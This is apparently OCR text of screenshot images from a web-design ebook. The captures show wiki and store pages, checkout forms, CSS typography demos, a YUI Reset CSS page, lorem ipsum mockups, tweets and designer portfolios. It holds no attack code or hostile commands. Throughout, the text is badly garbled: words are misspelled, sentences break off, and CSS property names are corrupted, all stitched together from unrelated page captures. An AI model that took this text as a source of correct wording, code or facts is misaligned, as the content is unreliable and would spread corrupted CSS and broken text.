@ETY beta is running. Post away! €8 4.0 3: Cataclysm Systems Wanit

Wieicome to the new site! Enjoy your vt

‘WowrPEDIA

Navigation Welcome to Wowpedia

the fiee Warcraft universe in‘o source anyone can edit
MainPage

Intetace portal
Viarcaftportal Wowpedia content portals
‘Comnunity portal
Viowoeda forums
e —
Help

WRCRAST
UNIVERSE

Warcraft universe

Interaction

Recent changes.

Rancom artcle

Things to éc

Toolbox Interface customization

Vihatinks here

Reisled sharges :

- Featured article

‘Special pagss

Printable version Warlocks werz once arcanists - or shamans in the case of the crcs - who, o

Permanentink. the arcane or nature. :lddmmc into da.rku ﬁ.“nsed simlmt magic. Wal’x:ls still retain m skills in the nmpulzmﬂ of the chaotic element of
fire, although the suffering of their victims. No longer do they aim to use the efective.

JWChEranaiiaes ‘application of 3 ly dispose of their targe: revel in their victim's pain whie their fel
‘minions engage their target.

Dautscn

Espafiol
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% Loot

@ Forums

This past season we broke all Mac
bundle records by a wide margin.
Combined, we sold over 175,000 copies
of some of the best Mac software around
with the MacHeist 3 and nanoBunde 2
bundiles and you helped us raiss over
$1,250,000 for charlty. This puts the total
raised in the past thres years at over 2
‘milllon dollars.The MacHsist community
is now one of the largest on the web at
well over 600,000 members strong and
we simply couldn't have achieved any of
this without you.

What's next for MacHelst agents?

Stay tuned via our Twitter feed, Facebook
page, or RSS. Mingle with your fsllow
operatives. Ksep tabs on the latest and
coolest Mac apps. And above all, stay
svar vigilant for the next mission... You
don't want to miss out on our next big
thing!
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Le Corbusier Josef Miiller-Brockmann

Liszlé Moholy-Nagy Jan Tschichold
The New Vision Art As Experience
Liszl6 Moholy-Nagy John Dewey (Modernism)
odernism

ZHSG ) EAE R
Graphic Design Manual Pedagogical Sketchbook

Armin Hoffman Paul Klee
Steven Heller
PAUL RAND
Thoughts on Design Utslc Magazine
Fadl Band From Lascaux to Brooklyn
A Designer’s drt Hgid Rand YALE Herb Lubalin
Paul Rand
Hebert Matter Armin Hoffman
Alexy Bodovitch Bradbury Thompson
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T[] Smashing Book2  25.11.2010

2

EZ BT Chapter Status Deiivered  #of pages  Edited? Bio Images  Paid

41 Matt Ward ' The Principles of Good Graphic Design x B |x x  x

5 F‘@!’G@M& Visible vs. Invisible Design x B x X x x

6 " Designing Mobile User Experience: x 7 |k X [x x

7  Sketching, Wirchaming and Pm\mypvng x 27 x x x

& Red Flags in Web Deselopmer x I x x x L
s “The Future of Web Typography Proofreadin x % x F
10 Game Design Techniques Applied to UX Design x 20 x x

"  When They Click- Psychology of Web Desian At fayout designer x 21 x x  Kain  x

2 The Ulimate Web Design Questionnaire and Checkiist Procireading + Ima x M x X Katin

" * Design Pattems on ECommerce Websites x 0 x x %

1 How To Make 2 Book (Like This One) Check by Vitaly x 0 x 3 5

s

el Preface de text written 1 T
7 vitlsl Schiufizeilen 0

w sl Imprint x 1

18 Fabian / Yijing Cover and Backcover done U x 4
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2 Fabian Lesermamen Doppelseite is running 2

2 sl index 2
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= should be 360
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Live Support
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My Account My Cart Smashing Shop

Mobile Design for iPhone and iPad
(eBook #4)

Web designers know that their industry changes

Mastering Photoshop for Web Design
(eBook #3)

Photoshop is written for advanced and

quickly, € and
of skills are niecessary in order to always stay up to
date. Over the past few years, mobile web usage
hasincreased to a point that web designers no
langer can afford to ignore t. As a result, web.
designers have a growing need ta be educated in
this area and to be readyto design websites that
accommadate this audience.

This e-baok is dedicated to Mobile Design for
iPhone and iPad and it contains more than 300
pages with articles that have appeared on
Smashing Magazine. Available as PDF, ePUB,

designerswho want to brush up on
their workflow and improve their Photoshop skils
The eBook contains 178 pages, explaining
fundamental techniques that Web designers need
to know to produce high-quality work in
ehotashap.

You wan'tfind any generic step-by-step tutorials
orlearn random effects. You will gain 3 profound
understanding of what you can do with
Photashop and how to use it effectively in your
work. Available a< PDF, ePUB, Mobipocket. Read
more

The Smashing Book

The smashing Book s a printed book aboutbest .
practices in madern Web design, The book shares
technical tips and best practices an coding,
usabiity and optimization and explores how to
create successful user interfaces and apply
marketing principles to increase conversion rates,
Italso shows how to get the most out of
typography, color and branding so that you end
up with intuitive and effective Web designs. And
lastly, you will lso get a peek behind the curtains

of smashing Magazine. Read more





OEBPS/Image00171.jpg





OEBPS/Image00173.jpg
100

==PDF
- cpub
== mobi





OEBPS/Image00164.jpg
payment method

select a payment method
(6] (6] o
*cardholder's name
l |
*card number
l |
*expiration
[Selea~[Select =]
*verification #

C‘ what is this?

O I can't read the numbers.
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supra TP

VIEW LARGER | ALT VIEWS

LAWE

Me Aac Bs Mnnm

supra X krw vaider the
franchise grey

§109.95

KR3W and SUPRA are prot
Itouce Tha Frandmiee:fo Fall 2010,
he colaborative pack consits ofa
SUPRA Vi , 8 snap-back hat
an & bandans: £k Canebracisg et ol
KR3W grey 11 oz.slub denim. The
Vaider is among Supra’s bes!
performing silhouettes, a high top wi
Dok e and sch i tale bk o
wulcanized outsole. The Franchise
incorporates co-branding as well as the
signature 3-rivet detail from KR3W's
denim program

selectsize v

ADD TO CARTS

ADD 1O wASWAST
EAAL A FRIEND

< PREVIOUS NEXT»>
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hi { hi {
font-family: Calluna, Georgia, serif; font-family: Calluna, Georgia, serif;
font-variant-numeric: lining-nums; font-variont-numeric: oldstyle-nums;

01234567890 0123456789

hi { n {
font-family: Calluna, Georgia, serif; font-family: Calluna, Georgia, serif;
font-variant-numeric: lining-nums tabular-nums; font-variant-numeric: oldstyle-nums tabular-nums;

260,759 260,759 260,759 260,759
931,486 == 931,486 233,786 v 233,780
107,035 107,035 107,035 107,035
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x-height

Compare the x-heights on the text set in cach
of these blocks and in the large spans above.
Notice the difference in the last two columns,
where one is set with font-size-adjust, the other
s not. This block of textis displayed in Baskerville
with the fallback font: Georgia

x-height

Compare the x-heights on the text set in each of
these blocks and in the large spans above. Notice
the difference in the last two columns, where one is
set with font-size-adjust, the other is not. This
block of text is displayed in Georgia, the fallback
Jfont, with font-size-adjust set to 0.408

x-height

Compare the x-heights on the text set in
each of these blocks and in the large spa
above. Notice the difference in the last t
columns, where one is set with font-size
adjust, the other is not. This block of tex
is displayed in Georgia, the fallback fon
without font-size-adjust set to 0.408
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Thin Ronnia Web

Light Ronnia Web
Regular Ronnia Web
Semi Bold Ronnia Web
Bold Ronnia Web

Extra Bold Ronnia Web
Heavy Ronnia Web
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Condensed FF Cube
Regular FF Cube
Expanded FF Cube
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reed

Mobile Design for iPhone
and iPad

Smashing eBook #1:
Professional Web Design

Smashing eBook #2:
Successful Freelancing

Smashing eBook #3:
Moesering Pistoslip

Fles  Make Money

Forums

Bog  Hep

$10

$10

$10

$20

smashingmagazine
adll .

u 4Tuts+ Marketplace Items





OEBPS/Image00177.jpg





OEBPS/Image00077.jpg
Nice

Home
Notes

Fonts

Favorites

Gear

About

y Follow

N Rss

Notes

How to use CSS @font-face

Code up top for quick reference, details down below—we'll Published 30 Oct 2009
prepare typefaces for use on the web, go through @font-face 102 comments
CSS line-by-line, and get the experts’ take on browser support.

B4 shareThis
Updated May 2010 with new syntax from Paul Irish.

The CSS
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Ligatures test suit

A small test suit for unicode ligature (alphabetic presentation forms) support in browsers. To test different fonts
change your browser defaults.

Ligatures with generic font-family: serif;

Character Ligature Numeric reference
Latin small ligature f ya £#64256;
Latin small ligature fi fi &#64257;
Latin small ligature fi fl &#64258;
Latin small ligature ffi ﬂ &#64259
Latin small ligature ffl fl &#64260;
Latin small ligature long s t ft &#64261;
Latin small ligature st & &#64262;

Ligatures with generic font-family: sans;
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Small Caps

Until today, small caps can hardly be used cn websites. They are always synthesized by
the browsers, which just scales down the capitals letters, making them always too
light. But here you can see the real small caos of Ao Pro rendered in the Firefox 4
beta (Mac). The C5§ code is: ‘moz font feature scttings:'smcp=1%

FAKE SMALL CAPS
REeAL SmALL CAPs 123

Figure Sets

But the standard lining figures in this font don't go to well with small caps. But with
OpenType features, we can access the different figure sets in an OperType font. In this
example we activate the proportional oldstyle figures by using -moz-font-feature-
settings:’smcp=1,pnum=|

,onum=1"; As you can see, even the dollar sign is changed
to an appropriate small cap version.

ReaL SmaLL Cars $123,60

WitH OLDSTYLE FI1GSs $123,60
To control the figure sets there are two parameters. First we can choose between
Lining Figures (Inum) and Oldstyle Figures (onum). And secondly we can control the

width of the figures. They can be proportional (pnum) or tabular (tnum). In this image
You can see the possible combinations:

123456890
123456890 .
12345689 0 onumipnim

123456890 umimm
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Discretionary Ligatures

Basic ligatures (ike fi, fl and others) are already displayed by default in Firefox. But

now we can also access other ligatures, which have a styli

ic or historic purpose. Here
is an example of discretionary ligatures activated by -moz-font-feature-
settings:

llig=1";

special act
$pecial a&t

Contextual Alternates

Such ligatures are optional, but there are some typefaces like this scriot typeface,
which heavily rely on contextual replacements, because every glyph might need to be
changed, depending on the following character. Such a font can now be used in Firefox

fond Motona

_.Fa_n_d_'m_a_ta_n_n_

using -moz-font feature-settings: ‘calt=






OEBPS/Image00074.jpg





OEBPS/Image00146.jpg





OEBPS/Image00145.jpg
Sty o0 20455000 e o EE et
» Deivery () Piok-Up. Business Day Delivery!®
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rowsing 62701 - Change Zip
Offics Supplies Technalogy Furniture

Our Services My Account

B ——] ] T

Order Tracking

Buy 2 Toners

& the paper’s on us.

Ad
= Check Out Our New Tech
Doals
+ Rebale Center
= Ciearance Conter

HP Quick Pack (5 Ream case of paper)
when you spend $125 or
more on 2 HP toners

Enoppieg Tosts +
Onine oniy =

Exstumivg Dffors "

420 2 Gospos +
Ink ml_ % Print Tech Business Resource
DEPOT DEFoT Center
Select Manufacturer | = Papor Buyer's Guide = Document & Copy Services = Services = Business Web Sites.
TR  Shop Paper Depot. = FREE Delivory on Custom * Software
or = Business Cards S
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View data for: [smm,‘gmgazine,cnm Z ]

Unused selectors | Used selectors | Spider log|

http://www.smashingmagazine.com/wp-content &
fw3tc/min/ba202c/default include 3995229259 css E

.contactform .subject label Line 1
.contactform .container Line 1
.contactform .thankyou Line 1
-smcontact td Line 1
.smashform fieldset Line 1
-smashform legend Line 1
-smashform label Line 1
input [type= 1 Line 1
-smashform input[type="radio"] Line 1
-smashform input[type="text"] Line 1
-smashform input[type="password"] Line 1
.smashform select Line 1
.smashform input[type="submit"] Line 1
.smashform input.radio Line 1
-smashform textarea Line 1
.smashform input[type="checkbox"]:focus Line 1
.smashform input[type="radio"]:focus Line 1
.smashform input[type="text"]:focus Line 1
.smashform input[type="paasword”]:focus Line 1
.smashform textarea:focus Line 1
span.error p Line 1
-smashform fieldset div Line1 |~

Found 597 unused selectors among 3 stylesheets
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‘What is Firebug?
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Articles Notes. Info Search

Monday, July 5th, 2010
51 Responses

Prev [/ Next

“Elements that rely only on mousemove, mouseover,
mouseottf or the CSS pseudo-class :hover may nof
always behave as expected on a touch-screen device
such as iPad or iPhone.”

A few days after Steve Jobs anncunced the release of the iPad. I read that sentence in Apple’s

design for the web that requires a hover state has an uncertain future and could be subject to
serious usability issues.

The Touch-Screen Boom

Ifyou think this is something that can be addressed later, when multi-touch “catches on”,
consider this: s of June 22, 2010 Apple has sold 3 million iPads in 30 cavs, 1.03 million

BN P RS O NSRS S D S N R e
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| YUI2: ResetCss

J

All YUI 2.x users should

review the YUI 2.8.2 security
bulletin, which discusses a

vulnerability present in YUI
24.02.8.1.

YUl Home

Yuls

YUiBlog

Bug Reports/Feature Requests
YUl on Gitub

VUl License

yuiz

YUI2 Examples

YUI2 APIDocs

YUI2 Discussion Forums Bl
Dependency Configurator

Animation

AutoComplete
Browser History Manager

YUl 2: Reset CSS

The foundational YUI Reset CSS file removes and neutralizes the inconsistent default styling
of HTML elements, creating a level playing field across A-grade browsers and providing a

sound foundation upon which you can explicitly declare your infentions.

Note: YUI| Base CSS (introduced in version 2.3.0) can complement Reset by applying a
style foundation for common HTML elements that is consistent across A-grade browsers.

On This

« Video: The YUI CSS Foundation

Quick Links:

ore examples of

.

o See the Code

* Support & Community

« Fili al ure
it

Getting Started

the Reset CSS Package in
action.

Release Notes: Detailed change
log for the Reset CSS Package.
License: The YUI Library is
issued under a BSD license.
Download: Download the Reset
CSS Package as part of the full
YU Library at YUILibrary.com

To use Reset, include the following source file in your web page with the link element:

<i-- Soprece File —->

<link rel="stylesheet" type="text/css" href="http://yui.yshooapis.

< | 1l

The YUI CSS Foundation

Note: If you are using the entire YUI CSS foundation, including the Reset. Fonts. and Grids

CSS Reset/Base/Fonts/Grids
Cheat Sheet:

Downlosd full set of cheat sheets,

Reset CSS Examples:
* Basic Test Suite for YUI Reset

More Readlng about CSS

. 'usmg Reset Stylesheets,” on
‘Webhonkey

YUl Reset on del.icio.us:

" bookmark on del.icio.us

tags: CSS_webdesign resel |
yahoo [Besia] development
tools web yul webdev
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Welcome, John
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MyAccount | Seftings | Logout
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Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut
enim ad minim veniam, quis nostrud exercitation ullamco laboris
nisi ut aliquip ex ea commodo consequat

ecommended

Lorem ipsum dolor it amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut
enim ad minim veniam, quis nostrud exercitation ullamco fabaris
nisi ut aliquip ex ea commodo consequat

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua, Ut
enim ad minim veniam, quis nostrud exercitation ullamca laboris
nisi ut aliquip ex ea commodo consequat.

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut
enim ad minim veniam, quis nostrud exercitation ullamca laboris
nisi ut aliquip ex ea commodo consequat

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do
eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut
‘enim ad minim veniam, quis nostrud exercitation ullamco laboris
nisi ut aliquip ex ea commodo consequat.

Advertisement

]

Special offers

Lorem ipsum dolor sit
amet, consectetur
adipisicing elit, sed do
elusmod tempor
incididunt ut labore et
dolors magna aliqua. Ut
enim ad minim veniam,
quis nostrud exercitation
ullameo laboris nisi ut
aliquip ex ea commodo
consequat.
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Billing Information

Ecaesyaguinpd Reid Returning Customers
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* Address: || S————— Password: I
e — 1 & Renei i

“ oy I ECHDE VIR CRRNT:

* State f Province:

e i
Code:

B ——
B
*Cotmemat [ ]

vt o

@ Please keep me informed of special offers, promotions and the
atest trends in designer swimwear. Privacy Policy

Create an account (optional)
Save your information for future visits and keep track of your order
history.

Choose a
Password:

characters
ConfimPasswors: [ ]

Shipping Address
@ ship to my biling address
© ship to a different address
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Checkout

D Billing Address - Please enter your iling informaton as shown on your oredit card
statement or your order may be delayed.

* Required Fields

*Country (_United States ] Country ot listed?
“Frstheme| |
“LestName| |
“StreotAddress1] |

Mobile Phone |
(O Yes, | want to receive mobile text messages about product launches and
future promotions. (more info)

“Emall Address |

*Confirm Email —’

Your required to send order and aswellas
other questions or additional information about your order.

E] Shipping Address

[3) shipping Method

(4] Payment Method

(5] Review Order Total & Submit Order
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OfficeMax:
. WORK WITH US™ | 1.800.283.7674 |

SECURE CHECKOUT
1. CHECKOUT AS GUEST = :::‘lﬁx Fax Paper 98' 6 Roll
3 Item #: 02018658
Ships In: 1 t0 3 days
2, SHIPPING INFORMATION i Price: §16.99 EA

"_‘10 Quantity  [tem Total
Required Information . FLE

Item Total: $169.90
S — i
Business Name: Shipping:
What s this?>  Surcharges:
*Address line 1: Tax:
(no PO. Boxes) 5
Total:
Address Line 2:
=City:
*State:
*; . PROMOTIONAL CODE
ot Enter Promotional Code and Savel
*Phone number: APPLY CODE

APO may incur additional shipping charges.

*Email Address: ‘
*Confirm Email Address:

@ Yes! Send me exdusive coupons and special online savings via
OfficeMax email.

OfficeMax s committed to safeguarding your privacy. Our Privacy Policy
outlines how OfficeMax handles your information.

Maxperks® ID: | < What s this?

Tax Exempt ID: < What is this?

3. BILLING INFORMATION

4 REVIEW ORDER
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Order Summary

MensiRight Callaway X-24 HOT 1 $899.00
A-PWAW

‘Subtotal: $899.00

Est. Sales Tax: $0.00

Est. Shipping: $4.99
Shipping Discount: -$4.99
Order Total: $899.00

] Secured by @mawte
e TPy





OEBPS/Image00154.jpg
ORIES ~ APPAREL

——
((search keyword or Model (o}

FOOTWEAR

Now Lower Pricing: Save up to $120 on Select Diablo Edge Drivers & Woods, FT-iZ Woods & Hybrids, and uPro GPS Shop Now

@ SECURE CHECKOUT »

aty Availability Subtotal

Your Shopping Cart

Product Price
Mens/Right Callaway X-24 HOT &-PW.AW $899.00
ltem No: spra285470
Gender: Mens

y installed - Stack
Graptite

ufacturer: Callaway Golf
Shaft Type: Callaway X-24 Hot Graphite
Shaft Flex: Regular
Set Composifion: 4-

Custom Options:
Length: Standard
Lis Angle: Standard
Grip: Standard
‘Wraps: Standard

WA

1o In Siock $809.00

1 remove
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Acme App

The Developers

Lorem Ipsum dolor sit amet, consectetur adipiscing
elit. Aenean nec scelerisque nunc. Donec venenatis
condimentum felis id aliquet. Aliquam in justo risus, ac
wulputate nunc. Nunc at ipsum odio. Nunc nisi sem,
ultrices quis suscipit vel, vehicula a risus.

Thanks To Our Testers

Quisque vitae nisi sit amet arcu euismod rutrum.
Vivamus ultricies malesuada quam, ullamcorper
accumsan magna laoreet quis.

Stay Tuned For Version 2!
Class aptent taciti sociosqu ad litora torquent per
conubia nostra, per inceptos himenaeos. Nullam eget
sollicitudin nisi. Pellentesque habitant morbi tristique
senectus et netus et malesuada fames ac turpis
egestas. In cursus convallis magna at posuere.

Acme App

The Developers

Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Aenean nec scelerisque nunc. Donec venenatis
condimentum felis id aliquet. Aliquam in justo risus, ac
vulputate nunc. Nunc at ipsum odio. Nunc nisi sem,
ultrices quis suscipit vel, vehicula a risus.

Thanks To Our Testers

Quisque vitae nisi sit amet arcu euismod rutrum.
Vivamus ultricies malesuada quam, ullamcorper
accumsan magha laoreet quis.

Stay Tuned For Version 2!

Class aptent taciti sociosqu ad litora torquent per
conubia hostra, per inceptos himenagos. Nullam eget
sollicitudin nisi. Pellentesque habitant morbi tristique
senectus et netus et malesuada fames ac turpis
egestas. In cursus convallis magna at posuere.





OEBPS/Image00050.jpg
P ME

timbray
knOthing = ] Variation: *Thers are only two hard
Can't deny it. Indie gaming really has /=8 problems in Computer Science: cache
come a long way. Braid... now invalidation, naming things, and off-by-
minecraft... $ = more innovation to one errors.*
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BrianHall
1 5 2 2 ﬁl hate_ turning down client work.

Gotta remember that it's a marathon,
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3. It's a magic number. Yes it is. It's a
magic number. #sfgiants

#ischoolhouserock
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While being too smart for your own
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almost universally ignored.
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2 Togive you the freshest possible info, your accounts are now updating.... this wil only take a mement.

Introducing our new Goals feature!
Set goals, track your progress, and achieve more.

YourProfle e

Ways to Save

Set your goals Track your progress Bask in the glory

Pick from a lst of goals or create your own.  Get email updates, check your progress A new home? Maney for retirement?
We'll help you determine exactly how much online, and get customized advice 50 you Whatever you achieve, savor it. Then set
You need to save. can stick with your plan. another goall Get started now.
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Fruit Innovations™ Syrups

HOME | CUSTOMER SERVICE

What's New

e

For Your Café

Shop Online

MY ACCOUNT : CART

Calling all Davinci Artisans

ForYour Café -~ Recipes |

Sugar Free s

Oh-So-Sweet.

ke
Indulgein
Free Goories:

amel

ey
- Vanilla s more!

Scasonal Recipes
- Favorite Seasonal Recipes

| &

DaVinci Gourmet Syrups & E

s ™ Syrups are

Uptate

P
efreshing cold beverages. Give
lemonades, ice eas, and sodas

your ne up with
some of our dolecious syrup,
sauce and toa concerirate

croaie the »
perfect crinks for any season.
Take 2 ook around our new

our gourmet syrup flavors. &

E Find out how you can

flavors. Our
a6 full favor 1o 2 wide variety of
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website for
tecipes and vy Flavor s our Sign Up For Our
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‘smashingmag 3hows
ﬁ Fresh on SmashingMag: 50 New Useful
GSS Techniques, Tutorials and Tools -
hitpi//su.pr/62MQ (please RT)
uptonic 3
Gan anyone confirm the location for

{EaMY #wednesdayworlds tomorrow? Vic's?

Smashing Magazine
@smashingmag

L e ——

Fresh on SmashingMag: 50 Nev
Useful CSS Techniques, Tutoric
and Tools - http:/su.pr/62MQt.

‘Smashing Magazine
@smashingmag
#15.736,190

Unfollow

‘smashingmag follows flyosity

=wa tapbots 3
We need a few lines translated into

interested and have experience
translating for I0S. Thanks!
Digeratii 3
Jiminey Christmas, | didn't have the
newest i0S SDK? No bother, though.
will in about, eh, seven hours.

isaiah Bhour
i knew that merging this branch would
be a tough job, but man. so many

(please RT) Get smashed with Vitaly Friedman,
editor-in-chief of Smashing Magazine,
an online magazine for designers and

web developers.

Su.pr - 1012110 €

Iocation Freiburg, Germany >

web http://www.smashingm... >
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(ZRURUN Handbags | Jewelry | Beauty | Kitchen

Accessorles & Shoes

» Accessories
» Handbags

» Shoes

» Travel & Luggage

Women's Apparel

» Biazers, Jackets, Etc.

» Blouses & Tops, Etc.
» Custom Fit

» Dresses & Skifts

» Intimates

» Outerwear

» Pants, Shorts, Etc.

» Seis

» Sleepwear

» Sweaters.

» Swimwear

» Now This Wosk

» Clearance

Men's
» Accessories & Shoes
» Apparel

Shop by Brand

» Birkenstock
» Breezies

» Clarks

» Denim & Co.

» Dennis Basso

» ISAACMIZRAHILIVE!
» Liz Clalborne New York
» Motto

» Quacker Factory

» Ryka

» Susan Graver

» Designer Gallery

» More

» Fashion Forum
» Fashion Blogs.
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To: Tampa, FL (TPA)

Al prices include tax & fees.

12:14pm
arrives at 3:39pm, non-stop
(Tren #203

1:39pm

arrives at 6:21pm, 1 connection
United #8813
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arrives at 6:08pm, non stop
1 #204

1:58pm
arrives at 8:13pm, 1 connection
o sz

2:53pm

arrives at 1 connection

$124.50

$131.00

$312.50
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$168.00
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about Writer

synchronization, punctuation and arrow keys.

1. FOCUS MODE creates a noise free writing space. No
auto-correction, spelling errors, toolbars,
scrolling, editing, cut/copy/paste to distract you
moving forward in your text. Focus Mode blurs out
everything except the latest three lines of text you
were working in. The idea is to activate it when you

get stuck, blinding out everything else.

2. GOOD TYPOGRAPHY is not just pretty to look at. It
facilitates the process of reading. If you look at
text as an interface, typography is its usability.

Common text editors are typographically weak (small
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StackExchange v login careers parent about faq search
Web Applicationswera
® Questions @ Tags 1, Users | Badges J d > Ask Question
Top Questions active hot week month
Welcome New Userl

17 22 2 Web tackexchange.com versus Nothingtoinstall.com Nothing To Install Is &

answers  kviews discussion (CREEITEL] domain-name h ago Brian R. Bondy 763 collaboratively edited

question and answer site for
1 expert and advanced users of
?

10 0 Option to migrate to Super User? web applications. It's 100%
- foature-request  close-reason  migration 0 Simon Brown 3,096 free, no registration required.
2 1 Make more contrast between visited and unvisited links in linked and

= related questions section.

bug  design 3o Jin 121 Recent Tags
feature-request » 7
. 0 Chat button in the question B
ote answers feature-request suggestion chat nh ago chanchal 1987 260 —
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Top News

Topnztar 70

AlTopics Top News
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Sports

Technology
World News

30Days Submit a fink

Every time | take my dog on a walk,
1e0ai coon — submitted by titilating to pics [link] [88 comments] >

© 75 Comments & Save

iwas browsing deviantART and i found this little gem
196k corm — suomified o eraDwar o pics [inK 25 comments] >

 92Comments & Save

Kratos from God of War gets a kitten...
rurka o — submitied oy 2fanto gaming[inig 111 comments] >

9 Comments % Save

F12010 - GamelReal Life Comparison ... Actually looks pretty good
19dde oo — submitied oy xmirodot to gaming link] [11 comments] >

3 29 Comments & Save

1031 0o — Submitted by acangiana to programming link] [88 comments] »

Too Few Women In Tech? Stop Blaming The Men.
& 54 Comments & Save

The original Farmville

eri%4 £ — submitted by Collin3388 to gaming Iink] 73 comments] >

& 32Comments & Save

\ r—
e

Top News in all Topics

z Foursquare Supasses 3 Willion Users

Too Few Women In Tech? Stop Blaming
The Men. Or At Least Stop Blaming be.

| World's argest siturbine (1MW) to be
Geployed later this summer in Scoland
while

Wna: The. " An infivental Isracli
. rabb has said God should shike the
alestin...

I hadheara birrors Ecge was short |
quess they added this feature to make it
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OTTO Das ECO-Gewinnspiel ist beendet und die Sieger wurden gelost: Bei den Fr
m besten angekommen (Gewinner sind Elke H. und Katja W.), dicht gefolgt vom gr

Shirt (Lydia R).

Die Manner haben das Karohemd Arqueonautas zum Sieger gekiirt (Markus L. und }

Sweatshirt Kuyichi geht an Mike B,

Herzlichen Gliickwunsch an alle Gewinner. vr 2 sunden

Pinwand Info  OTTO  Fotos Video Veranstaltu. >

Schreib etwas ...

Anhingen: €1 & R
Firer

OTTO Das ECO-Gewinnspiel ist beendet und die Sieger wurden gelost

OTTO 8ei den Frauen ist das Michalsky-Shirt am besten angekommen
(Gewmner st e . und Batia W), doht gefolgt vom griinen

g-Queen"-Shirt (Lydi

Die Wit e dag Kasameme Arqueonautas zum Sieger gekirt

(Markus L. und Hans W.). Das Zweitplazi...

Mehr anzeigen

vor 2 Stunden - Kommentieren - Gefall mir

¥ 8 Personen gefallt das.
2 Alle 11 Kommentare anzeigen

Wolfgang Penz Glackwunsch
R vor 58 Minuten - Gefallt mir - Melden

Elke Hauch Ja, ich bin auch Elke H. und ich habe gewonnen:-)
Thts R DR Bt b bed Traiar 3e Wity doile Tratsk:
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What's New

Chocolate Makes the
Celebration

A
2nd Day Shipping Upgrade
on orders $60 or more*
Enter code DAY at checkaut
“perresipien. vad on orsers S00-5300 Orane ooty

Business Gifting b Give Thanks

T
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Available now »
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FSEAEIESED Fantastic Camera
By Neil E UERFED from Clarkdield, MN on 7/16/2010

: Easy To Use, Fast / Accurate Auto-Focus, Fast Shutter Speed, Good Image Stabilization

Noisy At High ISO

Indoors/Low Light, L v, Sports/Action, Travel, Video, i . Wildiife photos
Describe Photo Enthusiast

Yourself:

Just received the camera last week. [...]. | used the camera at a wedding and captured some great photos. | have also used it to take action photo's of
my son. | already own a canon powershot, but wanted to be able to capture more a moments without delay. This camera takes pictures almost instantly,
and | feel like | haven't missed a shot. | really like how easy it is to use. If you have used a canon camera, you'll be used to the layout and menus. | plan
to purchase a macro lens to really be able to get those close up photo's.

Was this review helpful to you? Yes /No - Is this review inappropriate?.
[1 of 1 customers found this review helpful]

EIEIEIEIEY Canon Rebel Rocks!

By KMack [§] 5550 from New Orleans, LA on 7/10/2010

Pros: Easy To Use, Fast / Accurate Auto-Focus, Fast Shutter Speed, Good Image Quality, Good Image Stabilization, High ISO
Performance, Large Clear LCD

Best Uses: Indoors/Low Light, L Macro F o ion, Travel, ings/ . Wildlife photos
Describe Photo Enthusiast
Yourself:
Bottom Line: Yes, | would recommend this to a friend
| am a casual and photo s0 | was i eager to get my hands on this camera for a while now. After doing some research |

decided to go with the newer Canon EOS Rebel T2i as my first digital SLR camera. Being a beginner, | had my doubts as to how well | would be able to
understand the uses of an SLR camera but | pleased with the ease of use this camera offers beginners. | refer to the instruction manuel often as it has
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Carlos Teyezagain led by exempie for City, scoring twice as ey afyid per 1 beat
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‘Senior Dosignor / Developer at Bronco (they're i North Yorkstire). He bultthis ste 50 you can find out more bou him,
‘s work and ao get i el
Enloyl

12 DESIGNERS F**KED UP

act

I wasi'tpianning on [umping on the bandwagon of hatred for e new GAP logo and thankiully
this won't be another atiack on GAF or their designers for what appears to be some raher
‘awtul design choices. Instead I'm gaing to attack other designers for what occurred afterwars.

OPINIONS
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HI. I'M JOE LIFRIERI, A VISUAL ARTIST AND DEVELOPER FROM NEW JERSEY.

Here are a few things I've made. You can see all of it in the work section.
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A FUTURE) ADD

WHERE
WINNER NESTLES.

I M SEAN BAKER I WﬂAKE THINGS LOOK GOUD
From professional organizations to fitness models and beyond, T've helped a
broad list of clients achieve a winning look. 'm a creative director, one of the
10, and an advocate for direction within the design community.

EDMONTON ESKIMOS

CONCEPT KOR // Edmonton Eskimos, a professionalfootball organization n the CFT
g cn onll] m G S SO mmmmmmwmmm

belike, whichis cold (colors) and mrorgiving

BEHIND THE MONITO!

You FOUND MY NOOK!

Imake people + ther products look good. 1 also love Pem.
State football, listening to music traveling and working out.

or Tuctte, Twontt bitel

[~] MY RESUME

WHAT'S HARPENING
BIG THINGS LOOMING
Boen  long timesince v made 4n wpate, and for that
apologize. With s newwebsitelooming, log attach,
promise tha t il gt betee T have o ofnewwork '
Iooking forward to festurng,

‘Alot has happened since thelast update. T'm now working for






OEBPS/Image00115.jpg





OEBPS/Image00018.jpg
MWHATWE DO. WHAT WE HAVE DONE. BLOG. TALK.

WE ARE A

HELH BAK HOUSE, HELM LANE
S CUTTING EDGE

ATLAND HENDA. "
CMBRA IS TES
L.D NEED SOME HELP

¢ |
e DIGITAL WEB AGENCY -

ST WERE LOCATED IN NORTH-WEST ENGLAND

ARMITAGE ONLINE

experiences for your visitors.

LRI FEATURED WORK VM DEVELOPHETS
A s | \yme - oo ‘
S TS





OEBPS/Image00114.jpg
You Tuhé [old spice Suchen | | Kategorien | Video hochladen Konto erstellen | Anme

Old Spice | Questions
OldSpice 201 Videos [¥] = Abonnieren

Vorschidge

©ld Spice | Boat
von OldSpice
3898.335 Auine

Old Spice | The Man Your M
Could Smell Like

von OidSpice:

22679940 Aufrvie

©ld Spice | Zoom :15
von OldSpice
IR | 372,650 Autrvie

©ld Spice | Did You Know
von OiéSpice
4774678 Aufrute

ey

©ld Spice | Flex :30
von OldSpice

11 40| oozroze L =1 6082648 Autrte
OldSpice | 29, Juni 2010 ¥ 16.451.181[%
Should your man smell like an Oid Spice man? Join us on Facebook - hipTww... M iteny ©ld Spice | Heart of a





OEBPS/Image00015.jpg
bam [Creative Home Services Portfolio News

hello. we're

& we’re building
a better web.

We're an award-winning, employee owned
website design and development firm based in
Perth, Western Australia.

About

Contact
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DIE O]

gether sera

FEATURED CHALLENGE e ouvern Jamie Olives

How can we raise
kids' awareness of
the benefits of fresh
food so they can
make better
choices?

Concspting has now finished, please continue to applaud the Concepts that you particularly ike. Here's & reminder of the
